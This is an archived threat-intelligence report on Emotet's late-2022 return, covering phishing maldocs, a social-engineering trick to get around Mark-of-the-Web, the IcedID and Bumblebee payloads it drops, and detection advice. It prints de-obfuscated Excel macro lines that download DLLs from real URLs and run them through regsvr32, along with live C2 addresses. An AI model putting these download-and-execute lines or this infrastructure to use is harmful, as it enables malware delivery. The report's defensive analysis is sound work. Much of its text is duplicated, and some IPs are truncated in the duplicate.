Emotet returns and deploys loaders

By Intrinsec

Published: 2023-01-09 · Archived: 2026-04-05 20:33:47 UTC

[et_pb_section fb_built="1″ _builder_version="4.18.0″ _module_preset="default" global_colors_info="{}"][et_pb_row _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"][et_pb_column type="4_4″ _builder_version="4.18.0″ _module_preset="default" global_colors_info="{}"][et_pb_text _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"]

First identified in 2014 (as the Geodo banking Trojan) and considered by the U.S. Department of Homeland Security (DHS) to be one of the "most costly and destructive malwares" in the world, **Emotet** appears to be back after four months of inactivity.

[/et_pb_text][et_pb_text _builder_version="4.19.4″ _module_preset="default" text_orientation="justified" global_colors_info="{}"]

Indeed, the spam campaigns had come to an abrupt halt on July 13th, 2022, after being responsible for the compromise of more than one million computers worldwide. However, the lull seems to have come to an end as cybersecurity researcher Tommy Madjar (@ffforward being a member of Cryptolamus) has identified a return of Emotet-related operations as of November 2nd, 2022, in the morning. Contacted by BleepingComputer, the CTI researcher at Proofpoint added that phishing campaigns spreading Emotet were back with the same email thread hijack technique to lure users and spread maldocs. Intrinsec was able to independently confirm the resurgence of Emotet from its probes.

As a reminder, Emotet was originally designed as a banking Trojan before evolving into a modular Trojan, being the fourth iteration of the Geodo malicious code. Since 2017, however, Emotet is no longer used as a Trojan but as a loader-as-a-service (LaaS) for the purpose of distributing malicious code within the information systems (IS) it infects. According to Trend Micro, Emotet's business is tied to Russian-speaking actors and likely resides somewhere in the UTC +10 time zone or further east based on C&C delivery activities. Since then, along with peaks of activity, Emotet has become an important initial access broker that enables top-tier ransomware gangs.
In the recent past, Emotet was known to install the TrickBot malware or more recently Cobalt Strike. The Emotet malware was also known to be used by Conti operators as well as BlackCat and Quantum operators after Conti operations "ended" in June 2022. Otherwise, Microsoft reported recently that developers of Emotet (but also of IcedId and Qakbot) have been recruited by DEV-0193 cluster (Trickbot).

As far as the new Emotet distribution campaign is concerned, it appears to have relatively little new features at the time of writing, keeping a relatively similar distribution pattern to previous ones observed by leveraging EtterSilent maldoc builder. In France, stolen emails linked to notary offices have been observed in this new campaign, while similar emails appeared in a previous campaign in October 2020.

Of note though, is the new social engineering technique introduced by a new Excel attachment containing instructions to bypass Microsoft's "Mark-of-the-Web" (MoTW) detection process. This Excel file would contain instructions to coerce the user to copy the maldoc to a trusted folder named "Templates", allowing it to bypass Microsoft's Protected View. Once the file is moved and opened in this folder, it immediately executes the macros that triggers the loading of the Emotet malware.

We also explain in the main text that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares. We anticipate that further variants and techniques will surface in the future with such volumes of spam seeking to deploy 'in fine' ransomwares. As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner).

The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.

[/et_pb_text][et_pb_text _builder_version="4.18.0″ _module_preset="default" custom_padding="0px||||" global_colors_info="{}"]

Intrinsec CTI services

[/et_pb_text][et_pb_text _builder_version="4.19.4″ _module_preset="default" text_orientation="justified" custom_padding="||0px|||" global_colors_info="{}"]

Organizations are facing a rise in the sophistication of threat actors and intrusion sets used by malicious actors.

Emotet, described as "one of the world's most destructive malwares" by the U.S. Department of Homeland Security, is regularly seen in new attack campaigns, overcoming security tools developed by editors.

To address these evolving threats, it is now necessary (but not sufficient) to take a proactive approach to the detection and analysis of any element deemed malicious, in order to allow companies to anticipate, or at least react as quickly as possible, to the attempted compromises they face.

For this report, **shared with our clients in November 2022,** Intrinsec relied on its Cyber Threat Intelligence service, which provides its customers with high value-added, contextualized and actionable content to understand and contain cyber threats.

To go further, Intrinsec offers you, through its "Risk Anticipation" module, dedicated and actionable intelligence to feed your security tools. For more information, go to htbqccsz.elementor.cloud/veille-cybersecurite/

[/et_pb_text][et_pb_text _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"]

Emotet's aliases

[/et_pb_text][et_pb_text _builder_version="4.19.4″ _module_preset="default" text_orientation="justified" global_colors_info="{}"]

Emotet malware is also encountered in literature as:

- - - Heodo (being the 4th malicious iteration of Geodo)
    - SpmTools by AdvIntel

The source code of Emotet and its infrastructure is allegedly operated by an intrusion set dubbed:

- - - TA542 by Proofpoint
    - Mummy Spider by Crowdstrike
    - GoldCrestwood by Secureworks
    - Mealybug by Symantec

[/et_pb_text][et_pb_text _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"]

Recent Emotet delivery tactics, techniques, and procedures

[/et_pb_text][et_pb_text content_tablet="

Our analysis starts with the first stage of the attack chain that uses a phishing email, more specifically a spear phishing attachment technique %91T1566.001%93. For this, we found and analyzed an email sent by Emotet upon a recent spam campaign that contains a malicious document (maldoc) attached to the email (see an example in Figure 1).

%22%22

Figure 1 An example of emails which may lead to Emotet malware infection. As extensively seen in the past TTPs of Emotet, the latter fakes replies based on legitimate emails stolen from mail clients of Windows hosts previously infected. The Eml file of sha256: 910731579a78d2da6452bede7dfce8e1f89c285c22d8a7d40db2eafc2fcc45af was retrieved from VirusTotal.

Once the lured user opens the XLS file, a message box informs them that the document needs to be copied in a specific directory path to display the contents of the file (see Figure 2).

Emotet spreaders are now using a new social engineering technique to coerce the user to copy the Excel file into the Microsoft Office Templates folder before relaunching it. This is achieved via a fake yellow graphical ribbon pretending to be an official Microsoft warning. Because the Templates folder is considered a trusted location according to Microsoft Office policy, **the malicious macro will run immediately without a security warning (see recommendation to preempt the threat at this stage).** If you don't copy the file anywhere, it will still execute the macros as soon as you press Enable Content in the yellow security warning from Excel (not the fake one in the spreadsheet).

%22%22

Figure 2 Message box displayed when opening the malicious document. As shown above, Microsoft informs the user with the functionality known as Mark of the web (MoTW) forcing Emotet spreaders to adapt. The latter therefore added a specific message to the file, mimicking the Excel security warning (the yellow horizontal bar above the content) and indicating that, to run the file, it must be placed in the whitelisted Office Templates folder.

It is striking that Emotet so far has not migrated away from Office macros to other delivery mechanisms like ISO and LNK files. Indeed, many malware families quickly adopted this workaround following Microsoft's recent announcement that it would begin disabling macros by default in Office documents downloaded from the internet.

At the bottom of the document is usually seen one or several sheets (up to six) with apparent blank cells being password protected as depicted in the Figure 3. We expect that this technique could slightly change in the future to evade heuristic signatures.

%22%22

Figure 3 Excel maldoc with sheet protection added. If only one sheet is apparent in some encountered files, hidden sheets can be revealed with a right click option to pursue the analysis.

The Emotet spreaders relied on a sheet protection measure for the sheets so that the user cannot view the included macro formula. However, the password protection of Office can be broken via a well-known brute force technique in a reasonable amount of time or via a specific patching procedure. We retrieved the password using the first technique to reveal the cell contents and the macro content.

The password to unprotect the sheets and reveal its content is: *AABABAAABBB^*

Another trick to avoid analysis was to scatter and blank data in cells. by changing the color as shown in the Figure 4 so the XLM macro is not directly readable.

%22%22

Figure 4 Malicious macro was scattered across the maldoc and hidden thanks to a white font color. Characters can be unveiled by changing the color of the cells.

Using Olevba, a free python tool, it is possible to find the cell containing the general formula concatenating the whole command executed upon the excel file opening (see the output result below in the textbox).

> SHEET: **Sheet6**, Macrosheet
>
> **CELL:G13**, =
> (((((((FORMULA((((((((((((‘Sheet1′!L24&’Sheet1′!L26)&’Sheet1′!L27)&’Sheet1′!L28)&’Sheet1′!L28)&’Sheet2′!F6)&’Sheet2′!N19)&’Sheet1′!F10
> 0

Another trick to slow down the analysis was to shrink the column G in sheet 6 as shown in Figure 5.

%22%22

In the present case, a field called “Auto_Open074573589343075932583507257983232 09” was also observed. This latter automatically triggers the aforementioned formula visible in G13 cell when the workbook is opened (see this ref for details on this old technique).

Figure 5 shows 4 pairs of commands containing de-obfuscated hardcoded URLs which will serve for the second stage of the attack:

> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**https%91:%93//cs.com.sg/Backup/Bk778kXNKMiH5vH**/%22
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv1.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**https%91:%93//j2ccamionmagasin.fr/css/1Mp8y**/%22,%22..o
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv2.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**http%91:%93//atici.net/old/PkZI74DD**/%22,%22..oxnv3.oocc
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv3.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**http%91:%93//clanbaker.org/css/khhl7kT2n69n**/%22,%22..o
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv4.ooccxx%22)

In the present case, a CALL function is used to download and save files to the disk, via the function *URLDownloadToFileA*, from URLs. It is followed by an EXEC function to execute each downloaded file via the *living off the land binary* (LOLBin) *regsvr32.exe*.

Four DLLs were then downloaded from those URLs. Three of these DLLs were copied in *%UserProfile%AppDataLocal* with random names in a dedicated folder also having a random name, probably to bypass detection:

- C:UsersadminAppDataLocalClVoCQrGkecuASUzF.dll
- C:UsersadminAppDataLocalWLifsjKOOFEUaGZqSKWcHGU.dll
- C:UsersadminAppDataLocalWBoDkXTZxEMvgSGkaWpRogE.dll

The LOLBin regsvr32.exe is then used to execute those 4 downloaded DLLs:

%22%22

Figure 6 The LOLBin regsvr32.exe is used to execute the previously downloaded DLLs.

regsvr32.exe will then communicate with a Korean IP address (**182.162.143.56**):

%22%22

Figure 7 Networks communications showing direct requests to one of Emotet's C2.

This IP address belongs to the list of C2s extracted from the present sample.

As far as the persistence mechanism is concerned, the access is maintained on the system by adding multiple keys to the Windows registry, which will execute the DLL at every restart with **regsvr32.exe**:

%22%22

Figure 8 Location path of the DLLs are saved in the Windows registry for persistence purposes.

Each key will start **regsvr32.exe** at the system's startup to execute the DLLs:

%22%22

Figure 9 Commands that will launch the dll at the start of the computer.

All described techniques (hidden sheets, password protection, white background and characters) and observed attack chain suggest that this campaign could be attributed to Emotet's **epoch5** botnet, which leverages the SilentBuilder dropper.

EtterSilent Maldoc builder distribution

After having analysed several samples, we concluded from observed commonalities within the maldocs's metadata (see in the Actionable content section) that EtterSilent maldoc builder was leveraged for Emotet's distribution.

Ettersilent was created by a threat actor known as AshkERE on Russian speaking underground cybercriminal forums (Exploit and XSS). This threat actor appears as the sole seller and developer of EtterSilent (even though a teamwork remains possible). As a reminder, EtterSilent is a malicious document generator with embedded evasion defence techniques offering two types of weaponized Microsoft Office documents (maldocs). The most popular version seems the one leveraging macros, which is serving many other threats such as Gozi, IcedID, Trickbot, BazarLoader and Qbot.

EtterSilent came into favour with the cybercriminal community in 2021. Although its first mention dates to 2020, the term was really popularized on Exploit and XSS during the spring of 2021. EtterSilent was already considered at that time as a very efficient maldoc builder with low detection rates from security tools.

%22%22

Figure 10 AshkERE detailing his social network contacts in order to avoid impersonation, while confirming his presence on XSS.

The economic model seems/seemed to be constituted around a subscription offer, which can be purchased by members (seems to only be possible for five people simultaneously). The threat actor also sold the 'EtterSilent Encrypt Edition' builder so intrusion sets could operate the tool themselves, offering an unlimited use of the tool for an initial price of 3000 dollars, lowered to 2500 dollars at the end of the operations (on November 30, 2021).

AshkERE is still present today with a similar username on Exploit and XSS and remains an active user even after having closed the EtterSilent sales thread. He no longer appears to be publicly selling EtterSilent, but possibly privately.

"Links with other malwares?"

It is worth noting that a similar Excel document analyzed in this report and used to spread Emotet was also observed to deliver additional malwares such as **Bumblebee** and **IcedID**, two major players in the current threat landscape.

While analyzing the network traffic of such payload upon dynamic malware analysis, a communicating IP address drew our attention. We indeed noticed the previously seen **Emotet** C2 (**182.162.143%91.%9356**) as shown in Figure 11:

%22%22

Figure 11 Excel document with a sha256: 199a2e0e1bb46a5dd8eb3a58aa55de157f6005c65b70245e71cecec4905cc2c0 communicating to Emotet's C2.

Bumblebee infection started with a downloaded PowerShell script (**'tps1.ps1'**) used to download an additional dll (**'bb.dll'**) associated with the malware:

%22%22

Figure 12 GET requesting the ps1 file that will later download the bumblebee dll.

The extracted config from this Bumblebee dll reveals the following information about the malware:

- **Botnet ID**: **0311t2**
- **List of C2:**
  - **39.65.8%91.%93170:443**
  - **103.144.139%91.%93156:443**
  - **107.189.30%91.%93231:443**
  - **91.245.254%91.%93101:443**
  - **194.135.33%91.%93127:443**

Bumblebee's configuration is contained inside the **.data** section of the binary amongst the RC4 encrypted strings. The RC4 decryption key is hard coded in this section in plain text.

We then observe that once **Bumblebee** is executed, the infected machine communicates with a C2 (**103.144.139%91.%93156**) that was discovered in the extracted list from the configuration.

%22%22

Figure 13 Network traffic showing a connection to one of Bumblebee's C2s.

We can also observe connections to an IP address (**87.251.67%91.%93168**) associated with the **IcedID** malware:

%22%22

Figure 14 Network traffic showing a connection to one of IcedID's C2.

This address resolves the domain **spkdeutshnewsupp%91.%93com** (see Figure 15) from which we could pivot and gather additional hashes of IcedID samples (Figure 16).

%22%22

Figure 15 Packet containing the domain name.

%22%22

Figure 16 Detection rate (6/95) of this IP address on VirusTotal Intelligence. Several malicious payloads associated with IcedID communicate with this domain.

From a pivot on VirusTotal intelligence we could gather additional **IcedID** samples hashes that communicate with this domain:

- **05a3a84096bcdc2a5cf87d07ede96aff7fd5037679f9585fee9a227c0d9cbf51**
- **4e79b28215998b57d79a5272e9114eff8fc6ea3c7aac626110d18087c7d1a12b**
- **748c98bd8fe9eaf024481251faa10a0abc631b0fb03758271526d813b57b2567**
- **923715af8f2e49242e18210c143ffd69300cdf675f61ae33c2f2fcbab6df07e2**
- **c58b13dc51e572ec288d97aa255d55884d7418466b8381afd1a4278a0be87427**
- **d3d0e3512bf398aa0699fe1a57cd769fd0ef1801c110aea63c469f7632f36d50**

As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner). Consequently, detecting Emotet often means that the attack is more thorough than expected and conversely the detection of coinminers/loaders shall not be overlooked.

Code Analysis of a recent Emotet sample

To better understand Emotet's recent evolutions and new features, we proceeded to a code analysis of a recent sample of this malware Hash of the analyzed sample (sha256: 06b3d3c50da5054b9e37fb6c429c560484be457a09a900b21b5185cf10128ed4). First, we carried on a static analysis of such a sample. The high entropy of the .text section of the binary, as depicted in Figure 17, suggests that this malware is probably packed. This is also suggested by the presence of randomized unreadable strings in the sample.

%22%22

Figure 17 High entropy of the text section of the binary suggests that it is probably packed as viewed in Detect-it-easy open-source tool.

At this stage of the analysis, the sample was loaded into the debugger x64dbg to unpack Emotet. For that purpose, a breakpoint was set on calls to some Windows APIs such as %22VirtualAlloc%22 (allocating memory). Once this breakpoint is reached, it is possible to observe in the return of the VirtualAlloc function that the malware allocates memory space and wrote a binary (MZ) in the RAX register.

%22%22

Figure 18 Memory dump of the RAX register containing the malicious Emotet PE file. Hash of the file (sha256): ***04c40a669fcfcd20bd429cbe4f78c71e8403ca70f804262a24024cb40dba321b***

Once the binary is unpacked, we obtain the final **Emotet** payload which is a 64bit dll.

%22%22

Figure 19 Repeated mathematical operations used for obfuscation.

%22%22

Figure 20: Another example of those operations.

At first glance, the static analysis of the dll seems particularly difficult because of the heavy code obfuscation used. Simple expressions were transformed into mathematical operations repeated multiple times. Sometimes the results of these operations are passed in a function that will never be used in the program.

IP addresses and ports of the C2 servers are obfuscated in functions, each of those functions corresponding to one specific C2. As we can see, instead of having those constants in the code, Emotet's developers are using a series of logical operations to build them. However, it is easy to bypass this obfuscation technique since the display of those constants has been automatically simplified in pseudocode. Therefore, the effort of the developers of Emotet to hinder analysis of the malware's code appears completely moot.

%22%22

Figure 21 Disassembly view (left) and pseudocode view (right) of a function returning the C2 IP and port.

This function is referenced in a list of several other functions also containing the IP addresses and ports of other C2.

%22%22

Figure 22 Pointers to every function containing C2 information. It is possible to find in this list the function previously analyzed.

Since **Emotet** chose obfuscation over encryption to hide its C2 configuration, we could simply emulate those functions, or even run them in a debugger to retrieve IP/port information in plain text.

As far as Emotet 64-bit emulation is concerned, we used "Dumpulator" to emulate the function returning the C2's information.

%22%22

Figure 23 Emulation result for the given function returns in this example an IP address: ***159.65.88%91.%9310*** *and a Port:* ***8080***

A further innovation of recent Emotet samples lies in the way it encrypts its network communications. Previously, Emotet was used to hide its C2 HTTP network traffic via an AES symmetric key encrypted by a hard-coded RSA public key. **Emotet** now uses **Elliptic Curve Diffie Hellman** (EDCH) public key. Furthermore, Emotet uses a hard-coded **Elliptic Curve Digital Signature Algorithm** (ECDSA) public key for data validation. From the studied unpacked sample, we could retrieve the following information:

ECDH:

MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuwTyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTu

ECDSA:

MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9XoovpqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSP

Infrastructure

After having extracted the configuration of different samples (see previous section), we managed to retrieve several IP addresses of command-and-control servers with which the payloads communicate. The configurations vary according to the samples and allow us to identify which payload is part of Epoch4 or Epoch5 according to its encryption key.

We cross-referenced these addresses with the command-and-control servers referenced on Feodo Tracker. Some were still active while others had been disconnected after being publicly reported. The configurations contained IP addresses associated with specific ports (TCP ports like 80 (http) or 443 (https), or on different ports (8080, 7080, …)).

After a careful analysis of which service listing on such ports communicate with the payloads, we systematically found a nginx proxy server. This was deduced from the response headers returned from a simple get request method to fetch data.

While trying to find a differentiating element on these servers, we noticed a certain similarity: most of those servers exposed legitimate web services next to the service used for command & control on a different port. These commonalities are summarized in two Maltego graphs depicted in Figure 23 and Figure 24.

%22%22

Figure 24 Maltego graph of Emotet's epoch 4 C2 proxies with legitimate services impacted by vulnerabilities.

%22%22

Figure 25 Maltego graph of Emotet's epoch 5 C2 proxies with legitimate services and vulnerabilities.

In addition to exposing legitimate web services, all these servers have numerous vulnerabilities according to Shodan. We concluded, with a moderate level of confidence, that these servers have limited security and may have been compromised.

Conclusion

The present report provides a straight-forward and up-to-date analysis of the ongoing Emotet campaign, presently distributing hundreds of thousands of emails per day. This investigation highlights notable changes in the modus operandi of Emotet's operators (TA545), such as new ways to social engineer its victims to execute malicious documents used to deploy Emotet. Beyond these new methods leveraged by Emotet for initial access, the present report suggests that the change in the obfuscation technique of the main payload does not hinder an easy extraction of the configuration of the malware. This shows that Emotet's developers may not understand how modern decompilers actually work. We also showed that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares via Epoch 4 botnets. We anticipate that further variants and techniques will surface in the future with fewer or greater volumes of spam.

The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.

Actionable content

As we have seen in the main text, Emotet spreaders were forced to adapt and now try to lure users by attempting them to copy the maldoc into a whitelisted directory path on the disk. We recommend monitoring any execution of XLS files arising from those directories. It is also recommended to make employees aware of this new technique via sensibilization training sessions and simulated phishing attacks.

Emotet is known to be highly polymorphic (i.e., the ability of code to change its identifiable features while maintaining its functionality) and tends to embed more and more threatening modules. Emotet often repacks its dropper and changes its modules loaded to stay ahead of signature-based detection solution. Although its functionalities might not vary that much, these changes are enough to bypass pattern-matching and footprint detection. More subtle detection (EDR, behavioral analysis) would be required to detect the initial infection.

We draw your attention to one checker and complementary tools:

- A relevant free tool to defend against Emotet, which is dubbed EmoCheck, was released a while ago by the JPCERT (available here on their Github repository). This checker might be relevant particularly for forensics teams when they investigate workstations or servers that might have been infected by Emotet.
- Emocheck-ReportChecker can also be helpful as it generates statistics out of numerous Emocheck reports
- Another relevant tool named EmoKill. This program was inspired from the detection rules of Emocheck and was compiled and shared on Github.

To draft this report, Intrinsec studied commonalities of XLS maldocs sent to Emotet's victims as spearphishing attachments. One common metadata that could be leveraged on VirusTotal Intel for hunting purposes goes as follow:

> magic:%22CDF V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: **1251**, ***Author: Gydar, Last Saved By: Gydar***, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jun 04 18:19:34 2015, Security: 0%22

The code page identifier 1251 refers to Windows Cyrillic-Slavic encoding, mostly used by Russians, Bulgarians, Serbians and Macedonians. It is also worth noting that all results of the aforementioned query on VT have the same filesize of 255 kB

Several SIGMA detection rules could be leveraged to detect an attack by Emotet malware:

- Detects network connections and DNS queries initiated by Regsvr32.exe
- Detects various anomalies in relation to regsvr32.exe
- Detects New Lolbin Process by Office Applications

A YARA detection rule provided by The DFIR Report

To detect all threats mentioned in this report (Emotet, IcedID, BumbleBee), defenders can also rely on relevant Abuse threat intel sources such as Feodotracker, ThreatFox and MalwareBazaar as well as the soon available **Intrinsec's IoCs feed**.

" content_phone="

Our analysis starts with the first stage of the attack chain that uses a phishing email, more specifically a spear phishing attachment technique %91T1566.001%93. For this, we found and analyzed an email sent by Emotet upon a recent spam campaign that contains a malicious document (maldoc) attached to the email (see an example in Figure 1).

%22%22

Figure 1 An example of emails which may lead to Emotet malware infection. As extensively seen in the past TTPs of Emotet, the latter fakes replies based on legitimate emails stolen from mail clients of Windows hosts previously infected. The Eml file of sha256: 910731579a78d2da6452bede7dfce8e1f89c285c22d8a7d40db2eafc2fcc45af was retrieved from VirusTotal.

Once the lured user opens the XLS file, a message box informs them that the document needs to be copied in a specific directory path to display the contents of the file (see Figure 2).

Emotet spreaders are now using a new social engineering technique to coerce the user to copy the Excel file into the Microsoft Office Templates folder before relaunching it. This is achieved via a fake yellow graphical ribbon pretending to be an official Microsoft warning. Because the Templates folder is considered a trusted location according to Microsoft Office policy, **the malicious macro will run immediately without a security warning (see recommendation to preempt the threat at this stage).** If you don't copy the file anywhere, it will still execute the macros as soon as you press Enable Content in the yellow security warning from Excel (not the fake one in the spreadsheet).

%22%22

Figure 2 Message box displayed when opening the malicious document. As shown above, Microsoft informs the user with the functionality known as Mark of the web (MoTW) forcing Emotet spreaders to adapt. The latter therefore added a specific message to the file, mimicking the Excel security warning (the yellow horizontal bar above the content) and indicating that, to run the file, it must be placed in the whitelisted Office Templates folder.

It is striking that Emotet so far has not migrated away from Office macros to other delivery mechanisms like ISO and LNK files. Indeed, many malware families quickly adopted this workaround following Microsoft's recent announcement that it would begin disabling macros by default in Office documents downloaded from the internet.

At the bottom of the document is usually seen one or several sheets (up to six) with apparent blank cells being password protected as depicted in the Figure 3. We expect that this technique could slightly change in the future to evade heuristic signatures.

%22%22

Figure 3 Excel maldoc with sheet protection added. If only one sheet is apparent in some encountered files, hidden sheets can be revealed with a right click option to pursue the analysis.

The Emotet spreaders relied on a sheet protection measure for the sheets so that the user cannot view the included macro formula. However, the password protection of Office can be broken via a well-known brute force technique in a reasonable amount of time or via a specific patching procedure. We retrieved the password using the first technique to reveal the cell contents and the macro content.

The password to unprotect the sheets and reveal its content is: *AABABAAABBB^*

Another trick to avoid analysis was to scatter and blank data in cells. by changing the color as shown in the Figure 4 so the XLM macro is not directly readable.

%22%22

Figure 4 Malicious macro was scattered across the maldoc and hidden thanks to a white font color. Characters can be unveiled by changing the color of the cells.

Using Olevba, a free python tool, it is possible to find the cell containing the general formula concatenating the whole command executed upon the excel file opening (see the output result below in the textbox).

> SHEET: **Sheet6**, Macrosheet
>
> **CELL:G13**, =
> (((((((FORMULA((((((((((((‘Sheet1′!L24&’Sheet1′!L26)&’Sheet1′!L27)&’Sheet1′!L28)&’Sheet1′!L28)&’Sheet2′!F6)&’Sheet2′!N19)&’Sheet1′!F10
> 0

Another trick to slow down the analysis was to shrink the column G in sheet 6 as shown in Figure 5.

%22%22

In the present case, a field called “Auto_Open0745735893430759325835072579832320 9” was also observed. This latter automatically triggers the aforementioned formula visible in G13 cell when the workbook is opened (see this

Figure 5 shows 4 pairs of commands containing de-obfuscated hardcoded URLs which will serve for the second stage of the attack:

> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**https%91:%93//cs.com.sg/Backup/Bk778kXNKMiH5vH**/%22
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv1.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**https%91:%93//j2ccamionmagasin.fr/css/1Mp8y**/%22,%22..o
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv2.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**http%91:%93//atici.net/old/PkZI74DD**/%22,%22..oxnv3.oocc
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv3.ooccxx%22)
>
> =**CALL**(%22urlmon%22,%22**URLDownloadToFileA**%22,%22JJCCBB%22,0,%22**http%91:%93//clanbaker.org/css/khhl7kT2n69n**/%22,%22..ox
>
> =**EXEC**(%22C:WindowsSystem32**regsvr32**.exe /S ..oxnv4.ooccxx%22)

In the present case, a CALL function is used to download and save files to the disk, via the function *URLDownloadToFileA*, from URLs. It is followed by an EXEC function to execute each downloaded file via the *living off the land binary* (LOLBin) *regsvr32.exe*.

Four DLLs were then downloaded from those URLs. Three of these DLLs were copied in *%UserProfile%AppDataLocal* with random names in a dedicated folder also having a random name, probably to bypass detection:

- C:UsersadminAppDataLocalClVoCQrGkecuASUzF.dll
- C:UsersadminAppDataLocalWLifsjKOOFEUaGZqSKWcHGU.dll
- C:UsersadminAppDataLocalWBoDkXTZxEMvgSGkaWpRogE.dll

The LOLBin regsvr32.exe is then used to execute those 4 downloaded DLLs:

%22%22

Figure 6 The LOLBin regsvr32.exe is used to execute the previously downloaded DLLs.

regsvr32.exe will then communicate with a Korean IP address (**182.162.143.56**):

%22%22

Figure 7 Networks communications showing direct requests to one of Emotet’s C2.

This IP address belongs to the list of C2s extracted from the present sample.

As far as the persistence mechanism is concerned, the access is maintained on the system by adding multiple keys to the Windows registry, which will execute the DLL at every restart with **regsvr32.exe**:

%22%22

Figure 8 Location path of the DLLs are saved in the Windows registry for persistence purposes.

Each key will start **regsvr32.exe** at the system’s startup to execute the DLLs

%22%22

Figure 9 Commands that will launch the dll at the start of the computer.

All described techniques (hidden sheets, password protection, white background and characters) and observed attack chain suggest that this campaign could be attributed to Emotet’s epoch5 botnet, which leverages the SilentBuilder dropper.

EtterSilent Maldoc builder distribution

After having analysed several samples, we concluded from observed commonalities within the maldocs’s metadata (see in the Actionable content section) that EtterSilent maldoc builder was leveraged for Emotet’s distribution.

Ettersilent was created by a threat actor known as AshkERE on Russian speaking underground cybercriminal forums (Exploit and XSS). This threat actor appears as the sole seller and developer of EtterSilent (even though a teamwork remains possible). As a reminder, EtterSilent is a malicious document generator with embedded evasion defence techniques offering

two types of weaponized Microsoft Office documents (maldocs). The most popular version seems the one leveraging macros, which is serving many other threats such as Gozi, IcedID, Trickbot, BazarLoader and Qbot.

EtterSilent came into favour with the cybercriminal community in 2021. Although its first mention dates to 2020, the term was really popularized on Exploit and XSS during the spring of 2021. EtterSilent was already considered at that time as a very efficient maldoc builder with low detection rates from security tools.

%22%22

Figure 10 AshkERE detailing his social network contacts in order to avoid impersonation, while confirming his presence on XSS.

The economic model seems/seemed to be constituted around a subscription offer, which can be purchased by members (seems to only be possible for five people simultaneously). The threat actor also sold the 'EtterSilent Encrypt Edition' builder so intrusion sets could operate the tool themselves, offering an unlimited use of the tool for an initial price of 3000 dollars, lowered to 2500 dollars at the end of the operations (on November 30, 2021).

AshkERE is still present today with a similar username on Exploit and XSS and remains an active user even after having closed the EtterSilent sales thread. He no longer appears to be publicly selling EtterSilent, but possibly privately.

"Links with other malwares?"

It is worth noting that a similar Excel document analyzed in this report and used to spread Emotet was also observed to deliver additional malwares such as **Bumblebee** and **IcedID**, two major players in the current threat landscape.

While analyzing the network traffic of such payload upon dynamic malware analysis, a communicating IP address drew our attention. We indeed noticed the previously seen **Emotet** C2 (**182.162.143%91.%9356**) as shown in Figure 11:

%22%22

Figure 11 Excel document with a sha256: 199a2e0e1bb46a5dd8eb3a58aa55de157f6005c65b70245e71cecec4905cc2c0 communicating to Emotet's C2.

Bumblebee infection started with a downloaded PowerShell script ('**tps1.ps1'**) used to download an additional dll ('**bb.dll'**) associated with the malware:

%22%22

Figure 12 GET requesting the ps1 file that will later download the bumblebee dll.

The extracted config from this Bumblebee dll reveals the following information about the malware:

- **Botnet ID**: **0311t2**
- **List of C2:**
  - **65.8%91.%93170:443**
  - **144.139%91.%93156:443**
  - **189.30%91.%93231:443**
  - **245.254%91.%93101:443**
  - **135.33%91.%93127:443**

Bumblebee's configuration is contained inside the **.data** section of the binary amongst the RC4 encrypted strings. The RC4 decryption key is hard coded in this section in plain text.

We then observe that once **Bumblebee** is executed, the infected machine communicates with a C2 (**103.144.139%91.%93156**) that was discovered in the extracted list from the configuration.

%22%22

Figure 13 Network traffic showing a connection to one of Bumblebee's C2s.

We can also observe connections to an IP address (**87.251.67%91.%93168**) associated with the **IcedID** malware:

%22%22

Figure 14 Network traffic showing a connection to one of IcedID's C2.

This address resolves the domain **spkdeutshnewsupp%91.%93com** (see Figure 15) from which we could pivot and gather additional hashes of IcedID samples (Figure 16).

%22%22

Figure 15 Packet containing the domain name.

%22%22

Figure 16 Detection rate (6/95) of this IP address on VirusTotal Intelligence. Several malicious payloads associated with IcedID communicate with this domain.

From a pivot on VirusTotal intelligence we could gather additional **IcedID** samples hashes that communicate with this domain:

- **05a3a84096bcdc2a5cf87d07ede96aff7fd5037679f9585fee9a227c0d9cbf51**
- **4e79b28215998b57d79a5272e9114eff8fc6ea3c7aac626110d18087c7d1a12b**
- **748c98bd8fe9eaf024481251faa10a0abc631b0fb03758271526d813b57b2567**
